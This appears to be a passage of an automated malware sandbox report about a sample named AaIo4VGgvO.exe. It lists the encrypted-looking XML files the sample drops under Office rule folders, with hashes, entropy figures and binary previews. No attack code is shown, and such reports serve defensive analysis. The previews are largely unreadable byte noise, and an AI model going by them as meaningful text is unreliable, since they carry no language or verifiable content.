.D~...Q..\|-..c.....BL.M....t.l...........J.S..........GC..R...I...l....5..g..$4n.x..6I.q.h..z~f.Y..wb....`.7.xu..S...9J......B............[+.T.,.....8Y.b6K..../....+....ob,.,...~.3..y.@..[....dU..-...+#~~.......'...$.B..#...<:..S...o.ioD?.....7....{....p.j..g.....)..\|.@&...^.[I.w.'qv...5.Nw.4...(sS..\..9..T.MvrU...l....k...S...mr.....\|.o.s(..6.W...z.ou...O..:9..j.N7.1.m(..32H........[.'h...S...^-%J@...G.ZX..S7U.J%.P.z.<....V...?.B3....N..9..r...snA.N.c.=%...nh.-....e.1...<..M.T...&....DJBOO.....!.......+6..vl../["B=n:......(...<a....$yoS.....y..f...@Rz..)......D..\|.....w..`c...*.$.'s........M.....Y#H..S.ZPf.W....{.emb.5..>.(......4j.............MY.0..<..S.}.u..j.2..a..D.R...`.1J.....\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.898777793971077
Encrypted:	false
SSDEEP:	48:L7plDPdoUqmkJIbx9/XoTqWXy8WwsLH5GEmD:njTKxr2bxBKqWXy8WwbE+
MD5:	DA4857E69E62D0A0BCCBE7C937C102A0
SHA1:	28AABEB415AAF742C5FA9FCFAD09C7117FDF8F62
SHA-256:	6747DB1F6AC9478849C2B32CE862F8BED9DE737EFFF8AAF7C298C6E407549FB5
SHA-512:	F66801450981692C4431FDF79E7303FF5BA41CC98C76042BBBDDDDFFA088526F84752E3B37333105C80594DD4EDAF4667CABCBF8DF9F7DFF29ED2E68D307A27B
Malicious:	false
Preview:	<?xml2i...K.`.+.8..9.^..............3@C..H.g#S.....E.w!...kL..N..iJ.C.....!.6..7.I.Q......h...k...P..,....g..o....EZ3G'...'.._hPz.{"Dw.ES...DL.z...2...`......0x:...X....6...R...a..jD.T....c.3b..E.V.........'5.S...T...[...&....o..O.:T!.}...X0_k.....~?.Q._..K.....onV.]..+..c.Z5 .~.J..\|......>.A8..j.Y.....s../.w....g...2........r....4.v..c.-....C...Kf..V..;.!"..3.....!....^.....F+.....r.~.....r........PT............X7.G.b..7..!.jj.U...K!..H.X....`@O......:g..`x3A+.2...As.".=...85..+z7...0.}..m.P\.g...K2<v..S...:..0V=Q...Q...uo?DmmX.f.....(..%./>..^.-............J...S..K...y.S+..O...'q....r7.....K..P. ..A.S..H>.s.......-._.....f.0H....K.`f# es..B.hfRO..../.......U.....AT.pE.\...Z.;\|!...+.l......q..2wI'.O....Bs.)J.V.R........D.....?c...Tq...`..P].^\|..)f.".M..P$.9.=......U.l.M...-..WKJ.`f.@..o.u......m.>.m].<...p&.aG..8..Ax..$....W.K.6.8...B......M\|Ljm.XK?..1.Ek9....\|g.WU.Xt..^N.f....._6.?~.,.x..$.zR.. 9'5.G..._*..&k8d.3...z...N.)e?.......:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.703533034360545
Encrypted:	false
SSDEEP:	24:VS5EyFW8cM1bfRlYMg47GepPOurBSTEkr2iDbD:qgmbxgupHrGECD
MD5:	9A0F29AE4F706FED3462C5A1C948F502
SHA1:	61E295A39EAF925DD967FEE27F5E529E02C77BE0
SHA-256:	94435719AC3995BD650372E8BF868F1B97AC8CF84762BA65621885D6AF14F924
SHA-512:	1CDB00FEC4028E8ADF08AF2E713715AA737A341BADCB232D991A6A5508E6FE1BF3514751AED31F6D5A1ED00C9884E6C8A38A725D88250C69EB63000D55805136
Malicious:	false
Preview:	<?xml...h!.z=f........o...n.g.;....z.oe.Z.!...:y.....(s...m.g.%...@..~z.\a....a...$&RY.1I0.....^..f.1...C.+l9.n.{n`..o.<..H.{.ddD0.n7..R.Q..d`..i....Lg../)2....g........-.6._...P....RH..&,A..e...~..=m.P..............T..A...Li.I.h`F.. ..$q..!..a6^.....B..... .....y.6.....y...!...".6j+.Oxv5.....CM......If.5.aut(.>H..r...Q1.-NZ..l&{.;Dzp=>.x.$N+...::.Y.K.qu\l}..\....a....6.SU5z=./C:.&s..W.F...(]]...*..........)#.......-..R.4..e;v..Kr...[E.V.?&..1_.D-.L...&..n=XA...:.p$>m......&y.=....wB.......7...._k...k....\.6.D..c).D.g.%\|.y.@b...H.D.h...g.s`f;...i..+.%.Rsh..4^.f..-..1..Q.yc/`..J.G......&{.6@....c..#$1N.......7.....o.....7.).%...7.Tj..+N.k.2.s....U..-.,#6..q.~+.<v.6t.`p..I.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.7849089149120925
Encrypted:	false
SSDEEP:	24:mxyGedCqvK4HyNQUtT99/Y/Gj9Ap0egB4JdoMssuFDbD:KyRdDvK4ShtTE/09MUBCoMxuhD
MD5:	A50CDAB26465E53FBC0C8B67316C774E
SHA1:	B27F24A5B057804968573F5A0956198CB828B105
SHA-256:	944338A002349906AFBC4E011BAFBDF8C16FC1372667D4070DBDB77A5E84BEB1
SHA-512:	714AB49C3278A2523D41D583A9728E5B41FCFAC64AE3D34349AC41C4586AC3ABF8702B3C46AC90BA09B92B724C8EF442A7CF7876FFBF2DA9454206E9FF41389B
Malicious:	false
Preview:	<?xml..g..4_..cu7j.g..;V8!f.!....2.......-..8t.aM.X@.......Is...!..{....uBcl.Y\|.0.......Axd..a..$..E.(6.U.s.7....C....V....g[..Y.@J........tj.........]H.'.f`O?]......H..2H..R..=(q~...o....g."..F..r.cE.v.......H.......b..T.$.;.(s.i.9...6y}...nv.b..U.U.<J........)q..f......R....42.l-.Hjy....]s.U...+F...'o....x%.n.)c....b.,.,..`).(..;Z5Fp....`...m.X.........c..s......8.N.~T...f....my..$....g.....U#B....n....T..C)..Bj...E`\|F..p..W....U.`....-.}....$._...V...h..)lcYQ1lsb~.A.......gg...O.7...o=M.o.A.Y..b?...v..@..6......[.u.e.5.>A.#.:r.Nd.T1.w.U.:O]..B.^.Y.S.#..?s.\...#.......q..S.;...\.8..j..@..M.(Y.H.J8.]!..6?..F...lb....,vG/2d.....$....'..#..?.U....s..].>D.m..G^jg.5....'...4.....Q^..'.)..+...:...&..I..dQ8........Zt.H}..R...k.r.m.x. ,;.>G....P.._.*..&.c......jy.`.q1n.l.4Q8......$i..J.n.y...1...D.`Z!.d....e.zHAf.p.&..0.y...8..0.;......b.....,.!............<.BVB.R....sO}K.AX...D...sr...7B.I.H....].y...@..o{XI...Z....-..R.. .".}.`..=...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.805885333489266
Encrypted:	false
SSDEEP:	24:NG1//oPX49meWeKVbSqSUNLoMgvS7/6yhdSlSdtTSYKCgbqHj0dEbD:soPoPTKcQrgq7y6ws0CgbqDPD
MD5:	F985E6DCAB0918532887408A844F870D
SHA1:	0C89E9F01EA8723128936F494779D3B61DBD7470
SHA-256:	385E47017F1C004A9C4F2EC5F3E8B0A92A3F963527DCD6597DC5F6D3184C4D3A
SHA-512:	040FE20D0EEBBF2375FCDC670EFA0EA318F0CF1A151C6BC155007EB1027A0ADCBA7DADAB6A1427C0C2CBE523B2D433878B13F54EF4D83F0331D0E7D389E7997D
Malicious:	false
Preview:	<?xml.R......8z.8.S.l..be.:...VH..}@...<3.s..X?k......BNHv\|.p-U.&....PA.VaV...4..v..U..n1G......~$%...L.w....>...g.4.1.XW...+...5.;F..W..J&%Q%..uE4...b..Y@....d.g..._a!S.t......!.b..b#;....~1k{V. ...ic..&....m.{e~..nI.......?.H..\m\|=.8.....l.0...`.%...\|..m.....m5....+C..S].........,O..../y.q.69...nQn...Px.>mLyA...d..Tf;...P.o9..<.N..@+...,E.,.}.'..J$..A...Y...7\c....;..A...B..t.2.t.'.....iZnN!..n.P..!..W./]:.Gc.?.S.T....Y..1...C.1....#_2..w.U...3M...h.n....."'...!&.r`d..;w..1.).?..$;.../.17&..}qK.....f....NH.O..}.U...R........M....\..[)...!...7.3..G.CP.......@.1U....7...I....kht4.1..m_....A+..cWRg..g .V;......I...y..tZ..p\|.s..Kg...e........K....g..(....ht.Sk.W...M<m.....c<.d..8.\.wQ......6C.5...X...jJ.6.vs.R.y..7u..2...l......`p..6. .Y?%...h}.={. .i...r..?....{..O=.$....._...<.Ml..c...A~.x.....'.u....P..7..........kg.N;..R.........\..;.'...We<=..?...d^:F..........Z........pf..d'.s.......p..w..d[.Q$L...X,.SLibyJ8nZP43K8X6Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.744362317100209
Encrypted:	false
SSDEEP:	12:JS7rjNcZFQgt3IVahU0hYsXq+4PNqbw3hUDsvMfYfHYTiQH1+cii9a:Js/NcZSmABLbP3hUDt0YTiQUbD
MD5:	F34D6AE7B8C3772281B928090B508A3F
SHA1:	F970A2E4EA29C76F67F899A8819AC8A0AEA628D1
SHA-256:	F4DD9E7CF69669AFB046C4A744C676847DAD7582FB61CA2888ED06DDD237CC47
SHA-512:	07BF3F7F3A73035A92F792CC583AD4A7A69E0672EE0B814EC3C3B60102DF4F03E369EC6390AA8CEB1165CA9A287936EBB38F0C681C1F261B7440944A0F005184
Malicious:	false
Preview:	<?xml.5j........;yP..L.>..?..D53.......e.._...j}.+.9{.......,.p.....ju.)...T'...(rw..c.....V?~e.7.w}..x.....QM.V....%.V2.3..S...1.]..H~4Y}..M.WA...H.+.Cl........m1../.r....&..}..*.J)..~...+..u~..psE.Q.#.h..J......=(...."S.F^.....s:...k..twKgPi....\|....)@.%.......0..=a^...":0u.....A...%.?.R^j...9g..L.....[.....i....B..t..5.v&.Z#..+-z....^.6u_.>9.Y..o.p..6:.:.w.-.h..w........z........22).....[Mb...."A1. b..8J.r.=.......X..#...2.....~&.Ow)6....q5...$B.Zub......t^;....(..)K.2.1L....B......N..r..3MF.Ue...........[....^..R........?9..7r:.O...G....S...x...6p..B.BT3....\..P...}....~.e..[.LP.@....9.p.[..B-...Q-..P.cN. ....R.2..9..;1...P!w......?cl......9..bg../..\V3.3...4G.............W.FSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.875096716926799
Encrypted:	false
SSDEEP:	24:yIVyCJZHeFKcWsS32FtC6aDW+/0Pqhtts44ZdbL96PnQDjELMEAgRg+ybD:gCJBePW732C6kfEqhtt1yAPQDCzID
MD5:	1766EC939D5B7AF186CAD8A4F6856A69
SHA1:	A978D2FCF2F1A74FE7E3074A33AFCC8672BFD4CF
SHA-256:	334BB664131A4D11A5F9CC8A0EF999D5B66D82D385B7C2A72F9E91075C0D65D4
SHA-512:	C8AFA1712E17742616437F190213F61EBEF9AA9281EA50BF4DA7CEAE7E0394AA3D5104EB43F250DD8783339E5F81D3BAF5F8A4B2763160D48CD29275C83BA82C
Malicious:	false
Preview:	<?xmln...0.u.{..<.-......uO5.......[.....8gJLV.....%.T....%.J....#.F.9..f].i.t..j......V.;....e....."l....~........Zs...Y...b3KY.......4I.-....j~f...v.W...%.....y..?.!j.`....=..-....]..N]P.>.;..`'... .%r..m...Mi...hm.a..&..<..Tw..].B....XJ..n..L......X(.H..M.O....&.p.......e.jz"^....r.ny.R..\.........$.....v...~.m...{....M.p..?.....z.\.R6Q....lt.....9Q.@AB..D...o;......-.... .:.3....f...S.^C.:.Z.M0...../.d..lh.pM..s.....vg..S.c.h....Y..L0A..F.....,.z)......t..j..U.xt.......d..N....o....\|..F..J.k.1aD.....u..E..OU4..!...s>.......o...O[Z.0klfWE....T...f,c....\|..y#....i...m....U}`.Q=&4{<.2.x.l..b...3.lR....J#iH...;!...G..9m.k.jl.......X.g..~..W.....T.....}`'./..'......)....=y.[......I.X^5J.rX.K^...H7E..f.-y.........h.B......\.S~..v..F..,.XT..E..%D.....YO\.....5X.U[I..V....?.t...+o..?.*pV..+.....Vl.._..M.L..4.R.j.5;q../......@.]9..{..`..O5n...YI...7..m.........Wh..d..K.W-...~z.....G..9{q..y)...-.c..}....V6..6...I..5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.826641392035279
Encrypted:	false
SSDEEP:	24:dkFPoIOUMlfKy51dzLS7ZDuin9vE06pjTBvhMLgzka+CxsUOrbqbD:d6ALU4Cy51FAjlE0GjfwarxZD
MD5:	AA49A472F058825325503A03DB0BD271
SHA1:	54D25EF37AB57D4BC48162E2CCAD918C77E3E375
SHA-256:	0C1591029D6354467DB3D9C9CD4261C181DEA34689211F6D156E861440F7BCBB
SHA-512:	DC48D35B7E6B62B7A57990136F417BB12CD5FC18087FF7826E1EC7D4A8000ED355438C5A7B65E3133DE24F24BC581CA6A11A288647A7CEDAD781F5B2972D1ADF
Malicious:	false
Preview:	<?xmla`...q.5.[E.....Z@bx.z6.C.04...([)..LT...Y`....H`}...DE%..Mu.$7..%9..8h....m.$.3...j3.....~.'G._....D.w...>..ev...-g...(.%\I.T..F..e.6AIt_........:s..+?v.<....i...!...^+5.V`...r...A%.djO..2g.:.-.9/;.}..Q..s>@...U7....K.*+0M..9=........H%G..6.......EI.8...w..=...7.o.......u.Pv...%..i.V@.X.ZO..y>.QvT.#.H..r...n......p"..y.8viL..K.E.jl,.R.....).p.!.k..W1n......Q.h.#.1~...q.R.g.^........`.....T.u`.50..........X1y./......V......zU.-....WfZG.._=[$..(E..d.R...i....:..X....!..F.!J.Z.+. .i....;.0.M...%e..Z!.L..t....<qF..F..V.H.......x...Z.x....z.Z.Y..S\.gqT..zYY...4.`:Cg...W:.x)d..V.I..... ....51.@..+.7[....q}............./...k=......./..-.T......o.&...N..;.Z....Qi.....,.....$?]/..H9.N...._.Q].}%C....5...;c._......v#.&a+.j..;._..t_..j?h\|Czn.C{.@.....3.R....../..t..!.Yd..q.._...o.....[.M.].f.ik[~..]"...)8W....D.%5^".E......'"..h........h.X.Qs....2....P.\...O.......[.Z.=..7.x..N.!`...M...?/.:_..>J...8..UQ..6..d.<.s.]..?...Y.8....]@e^...Q.\|....:.Y.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.838009292579684
Encrypted:	false
SSDEEP:	24:nkwTLDi5sciV3tdVYDMQAWdTZQIUN3iAek3N/z9dtmilCjRbD:kwTK5sDVbuM+z7APdtmHD
MD5:	12893BFF8B314E07EB9DE0D23E0CBE12
SHA1:	ABF83299E4DD37AC684B12FC01C9C863D2AE319B
SHA-256:	1E295256F2DAFB927A32510E3979A5B92C141F0AEB91EB0227FE470D737575FE
SHA-512:	02E6467118323C0A31A7EE5138D0C35000F04B6457326C919107F63EFB59B13D6F3287E3C71919197E4500FCAE28E6EA335F70DC6039931D1CF59A941886F825
Malicious:	false
Preview:	<?xmlo.f..-..... ...HW....W\|pf...!.......[.....F.z.S3.m.&@D...5.......3R.?..;.l........+@@/b\.L........H.:.....!t...&WW...w..eIN..4.S.X}.bu.j>...qwW....P...Mf...lp.T..2:D....M.A......@xC.Hc.....\Iq.L....M$&$~g.O.TQ..U=.........D..G.......9U....6...8....).\........Y.....t.=..qZ.....Mb1....6.(8....6P...J.mD&;T.^0..........J.....5.......(.~.eT....@.......j...).y.M..M......kn..Y..tZ.....u..C;.f..R.MF9.........[.Z...]M.!(...&.A{...(.U.`.0..c......7.. .H....1.Kz.....Y.......:.....ztraO...u....N..LT..:...Z..r..w.9W.q.5.......T.&...*.n...\|<1d.&.+w.cKO.....t...@...?.s.....l.F......=...mS:.P.n......@.=x...y.......)7..6.Ot...XO.&`_.]..l..>.......... M....a..[..........oKk..\......`n.T%5.:.........H..j....e\|.Q;...O3....)......w.....(.]@.^Ck...X..Mi8..v..9[....&)I. .N..z..G.J..{..3k...G..W..H.o....k.\..m.1...9..F.....N..%..h.DJ../ac.......b]..4...a..Ga.R...I..io...y.......`.a...,..}....wt.Lr.W.d..D..;J..2......'.(..A..`\|...hm_.Cv.wo...:...W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.829705777221707
Encrypted:	false
SSDEEP:	24:jrVbYLOMxT57jXwNMx8FVji+G1kKTVdAZc0eOzh4wcwVA3CK7qwr5n/nMQ7iWSb+:JYLOMTjXQ48F1dBSWIOzup1P7Vr5/MQ3
MD5:	6B724B1FF13EB49CC8804BA9C14BE5E8
SHA1:	6D748C12C9CF614B0C66FD7CFAE27173C5841759
SHA-256:	E2AF3C1BC76A5D78CEFC55A561C42016AA9E061D9646D7FFFED375723418297F
SHA-512:	35241281872604ACA3A579212BF1B0A70BCCB90AEDF4EEA783B417498A2DE32F8D8DAAC45F577DE35EE68C0E785239377D01BAEE5714935B714BC29D72F63801
Malicious:	false
Preview:	<?xml.&.-.w8...C7......`.../...RS..j..i...~....\|.o(.e.4H3}C./.".6."..\|[.I{......1....8..._J...@Y...`.iv%....]1..A.?(.i^.mZE#..e.w>.....M)..."E~.._!.4...............9.nc.{pv....B.<.....X...8B.S.F...AQJ.....h...e...dg..p.....[._B.!X&.@iw..$H....(.......>.w..q.9:[.....N....B..n....(...r.%2J.74......}..q^.$I.L..@.....#9V.....Jz.1.....I..g. $.H`....LBt...w.+.4.t....b.."..oa...Qa...S~... ..td..i.`C....+...K".e...._9L..uL...C.....w.p.0..&.Z].Nt.....l@>3..a. .R@..!...u..n..@..f..V..._.k.r..N$...j..6...wU..~$.k.........K.C....C?X.......H]..[C~w(%B.`z.`...C?G.......P..8..!?!..].R..%1..n:$.p.M-.aL....eC...$E~a3.rE........d..?..'.cxj.]J.WIS.4h...t...2\....b.q)....{....,.....d....SY4A.x.Z.0"/.Jm..0....I..#...IZ..[.W.\|.a...f..>#..M....j.;;$4..A..c..mB.K.#(..~/.....%..p=...6...2a;.tsd{.Go..k.l.h.?.4..]..^p...5..e.....#(^y.aIf.....@'.P.m...\.*.).5....\G3.........2./iP'.S.It^.xkJ.A+QH...[.m..I.e.n....8..!....<L...<........B.Wkw.._).....K.._.m....W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.884239268958146
Encrypted:	false
SSDEEP:	48:CB5xkq0LdDa39W1T8WIHqcG+e59gjm3wftSOXgHZj4ER9wsD:CDxkq0poKxutyt11HR4y93
MD5:	CBA7FEA69603D350B42BE82228820728
SHA1:	1B9AB732AD171829CC68A6F67C0E62375BDC0751
SHA-256:	55E3DCA512EBB300791ADCEF43F687D32054B5B4663310BA0ED67F7CF7C24422
SHA-512:	1BF122FDA3BE717520EEAD0E8AE18E5D42165A27AD9D9D4FB451A03539D45353E7E4E0E9570A3084127345419325761707AC701E02577B14762B58DDE26F73A1
Malicious:	false
Preview:	<?xml.K..0A..n.....&.r.<+...%...P..!..{.!Ou.9...n.z.d.z.KE..=.....J..U)9..H.....X.A.A..UO......F.iI..`M........P.:....".G.Q.\.a$........\.}vLxv.....].0....!.kZe.:..D1.d,.W..q.{/.5j\.).n.....q.v.^C.30..U.........C=AW..._.).;.........?w]......0.....fH..6q...r8a.?.P0..v-.......+...0'=...).<qz."..u../U.....t.."..R.8....k..So..d].......}@.../.k..L....p.Gm.-..KD'.........d.>5.0.OK.-..1t...].PHa<s....".i.)..b$_.&nS......{0...1.3.^z...."....K%..@. .RP9..W....\..r..7.........o/M..].....gR...q.3........{fe/....J.D7..h.M.#..=Q.4c./.J5/7...:@..._z.=.......<.v>D.[".......hc..8.... ...6..P.q.S.....@_.9.x !X..\|.......)..7(.....-...K...Z<...L3..........Y....U.Y.4.. N.:...'.Q......\.....w.8rFJ.V......)....o...<E.v..f..S.H..*....,C.h..6n:.:.[.:...I...v-E....oo$....I.%..F.....S.5.<..d.b..?....5.^t.2{.<..G...b'64\|R/!+.Y. .OtD..}q.....<W.c#.Fe..H.d.q........-...$.z.P...;...[K..M:...3..\|.K.W.6.H..(....i...I...........'..Bz.Sd\......Zx .A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.774428798370357
Encrypted:	false
SSDEEP:	24:AiX67qX9Dqk1M9GlKpzddhQVEeUAYO8lydcgjwOWHbD:XeQ9DqksqKpzdXQGeUXO8lccg0OCD
MD5:	B6395FA61F901117C2B536D355A39D42
SHA1:	80305D5FC7E0FB8DD35938540C2F530C2FF9928F
SHA-256:	83A1D602818620AFE6EF9BC9B1E12F41418E4C0795EE6E1DDA8C719C1C60DCD0
SHA-512:	9ACF716E1529476A0FF34FDDC68C11958AB1529EF118E5D42BAE85D13492A7750ACA92CAFD76039D179467E0BCEA49A0B3C0DAA1D5B60213BC13AEDDEDE5FC3B
Malicious:	false
Preview:	<?xml....e.?s...A...,.3..T.............M..Z....).S......7?;}..r4....^v...P...x...k...fY7.t.9.7EQX.n..!.l...kB.q.k..Q-...bE.De..O..5..7....F...RG..q...&..\|...;Z.....I...< .m..#I.w..,]..d.n.\|.RT...L.`.Q....S......=b...b...... .....2.U..sp..W.-5.O..Yb..kp.hA.{..Mo..)..U..Y.@.p.R..CI..-. S.X..zH.~.F..RR.'.g.>......\|...q.wqu..gV..!.H_.~./......~w4.p...`.Cc.$..G........X.el.8....C...[!1_k.{7.Ln.^.\|.f..+y....p..R..@{.c.-$.<..$.j....IL..+.R/.....Z..g=.8....7Hkzg6O....mE.W... .`...r.+..P.!F...Hx....EG......}.q.Y.=./......t....+M.1....... d.5.z....<......u..j.H...m.\|u.w...-......:.C./.$.!....X.....g..x.a.y..L..(.$.h72.6...5...qg..]n.&A...l..u..YP.6...h..Y7.....gH..?pW.k...}...D.xI6NY.._U..i...cG,......9.6.a.i~ht.[X....6v.5..W..!.Y.a....=.h.JgF'...).XOq.&..............&3.....F...;...._?..H.....].x..<R.o..j.}.....E..`bh.` ..',o.%'...(6I.Nd.A...t...V.@.(. .m.....S\.H..8.7aCSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.878715590408311
Encrypted:	false
SSDEEP:	48:cdKWyzdbRY0gc4njjnx3h3DhBekfOoUmAzD:cd9yzY0Cnjjx3h39zmoUx
MD5:	65A6E8903D72EFA498BDB03B72CA4905
SHA1:	2F263929935ED50BCA8319B441109E23B4B79AE0
SHA-256:	3E233F4062D7B2F3C14B64EB67F1A3C0B09C796E5EC0636DBD24E42F39E0B6C4
SHA-512:	B2B201200DB1EC47A5C89EDCDB218A4B9E3E563BCF5F870C3908E1993E2FAFA478A637DBD762B0AEF00853416A29371C3FF50921F111B2A6F46DF9B6C95036BF
Malicious:	false
Preview:	<?xml..W...,WU].........nhS..L..o.?...-..f[y...J.T....^..1#....q...>....E.AqaX....e....t.........Vg..M.H...@m[..r.xT..N..oB$.)...9...'C.......+...7.PGw.A@...;..-..wI.s.K.1../yq...u.P.Dp..j.~..{.:P.=...~\|.Q....D...u..7..?w.{B.`.t)........z.e.=,.(4...^.....T..]ma...K"/..p.y..+0.Ap^.......Z....G.1...Iv......d`"i.&.~f.!..Y...Z.l\|hZ%%.T..aM&.-PV5.}+........B...x.@1..wK....X,.....v..H.8...K.{W...Pm7...X.Wl{....r..y2...\x.....DtW-...i...;..oS......oh....IDR...`..xTG.v3.(....?...F.............Q<d.i8....\t.....#...U..^.....=..+.I.V.2.c..a.-..c@.4./.X+H!....d_.!b.0....-.j...^>...U^...`AG...............~6.t..#.@...t..[J........l?..Qx....\|..a..h$7.].?:.,p.SJ>.N...G....5mI.4.;...i-.V...G.{....#...V....SP&3....g.[..}.=.V...\|....Af...S"..z.`'..W...U...h..8y......?=?.../.K.......q.t.A...~.R..(.......\vn...X.......].>....{_E!8.E..9._0....B..y..k...Z....'R.1U...:......z.n..u..[..<H..h)...c.^.h.N.lW_..%Y:1wo.o,.2SUyq..2[.C~....M..#T..=.P.x.skT.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.95412813481237
Encrypted:	false
SSDEEP:	48:lwFrejdSN5dE42w02fXXT1f/V90VWvhES/Nw28AI8O3HmezhBzBW9kKWgloD:JhGdE5wtnB0AvC8+2yzs95Wgl0
MD5:	A917406E305FE285DB06C692EB6ACFDA
SHA1:	7F8250E98A355250CBBAC8F89B19C1E754122141
SHA-256:	E3E4927821BE27524E13DB885F6AC6EB8057C1E1240F2FD2FD32AE9F614A75B9
SHA-512:	7F7F06FA8F443B3522851E0DEBCBE33081DE36E7EC451DC78A5C31B0BBFED0F0D31462443815B6BB71AA6F5F3736EB31AB1B396E22493B4015C4AA8C9001EC9A
Malicious:	false
Preview:	<?xml....S.....'.4..!n.x!w.l.@N..2. P..3H.jF-........{.u...N.!.....l....ap....m..."5.l8k.[..m."u..6o........1.t .6;..6."..[..N#.[.......a.T.'..5..D....0.egS...T/.X...M0/..)m.M..\|#..d.2.E..u]j.Q/..D.Y..-e[..i8.......Kh.Cz.....n-..Z ..r.]._.. A...R.p..{;4..>...Ie........g..'D...K...[ ....uY....v.....o..W.....KX.K...-......#...95..MO(y.W...pl7K..s%....6%a"<.......R7.+......c...b.\|2N`,p....d..3...+.0........4.f....t.uao.-.......X..`.j......3G.0...;9...._...."...eG"$.......l..).3...).?.R.I"......2d...w...b.\|$.g..f d......z....L.W.b.S...."..Bi."...i/."_.L..p~.....C...,I...N...4...}.u+....>s...A......3;0...7ws..S.GR..M.....O.C...tf8..L.s...{Q>.8...n<.i..s.........G(......K.\|......M.Z.0.Y8.A.....w...5Y...=.{k..^..*......V.XF.\|.....Q%v......_....}......@.............q....../....s...WD..>R..._7.3....S.z...<...?S.hsk...E.1O.....I......O.X....U..s.a@EL.............5.B..../x..p..x~..qy.M.Q._.&..D........\|1,..](.a....G!.....J4.k....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.872520505617402
Encrypted:	false
SSDEEP:	48:gB+DFVXEO8cdY3oEg5B3c1KRzRElFlomJ/kD:5Db0PkB3RRzRElV6
MD5:	C9F33EF46FDF94330EB7D7FA19D345F0
SHA1:	D82E8D6AF81183E01971102C8ED11C7F6DAF7547
SHA-256:	C28F45E5174D124FCEE91432B182D9B516132AA645D6E4288DFC0C136C5E31C8
SHA-512:	9713E561EF77BF78C7A17F79E77B8EC0F63CFB24690E044F6E4747D8B44CA47386066C199DC19CFC14974C39E7059E3A84041BDB95B0D4FB2D892E682518FE09
Malicious:	false
Preview:	<?xml..'.......u.^{_...b;"2..{....R.x.A.....,M...T}@g.G.c'].m..T#..N....."&.8.'....4$4....E..H...7..4@.......~ .....\sc...E.j.G$...H.B/....J..p...v;+..S+6...`.....@......Q&\|.....-mT`R..O...].CY..E(2O(.q.Ufm.JF..\n....~n+y\u.?..&Q0`~;..+2...>8F.?....j......>.f.'..v..o..?..R..#.2..wS3.z3..O......F..rJ...t. 7>.;T0..D~F.}...4!..0..P...M${..Iy..E..z8............\......e...9~.I...D.....i..\.P....U@.^@.I[5..g.=.....k).3.g .;..e.....k.....p5,..e.=Z......e...LZt.r....-.....g>............z..{$..D.@u.0n....n.B/. .s...UB.A.}........X& X.u.W.......]S]............$c...X.......~r9Z{...:..H#v...H'b..6...M...C..B;....._bx..~A_r. ...?i.A.!!R..[.......1t.(.\.sK.S.y....mm,?....A.2..n4_im.Ts...j.w..u.E.`3..R...)b..N.,.k....!...........w....9.Y..7z.UR/.-@....fF.......rS.Q.%.O$.g..H.=....Q.E...ns...<$7..=FH...,..`.Udd.K.C...R2.Re' 6...@.F....^...]....P.m...H.$w. 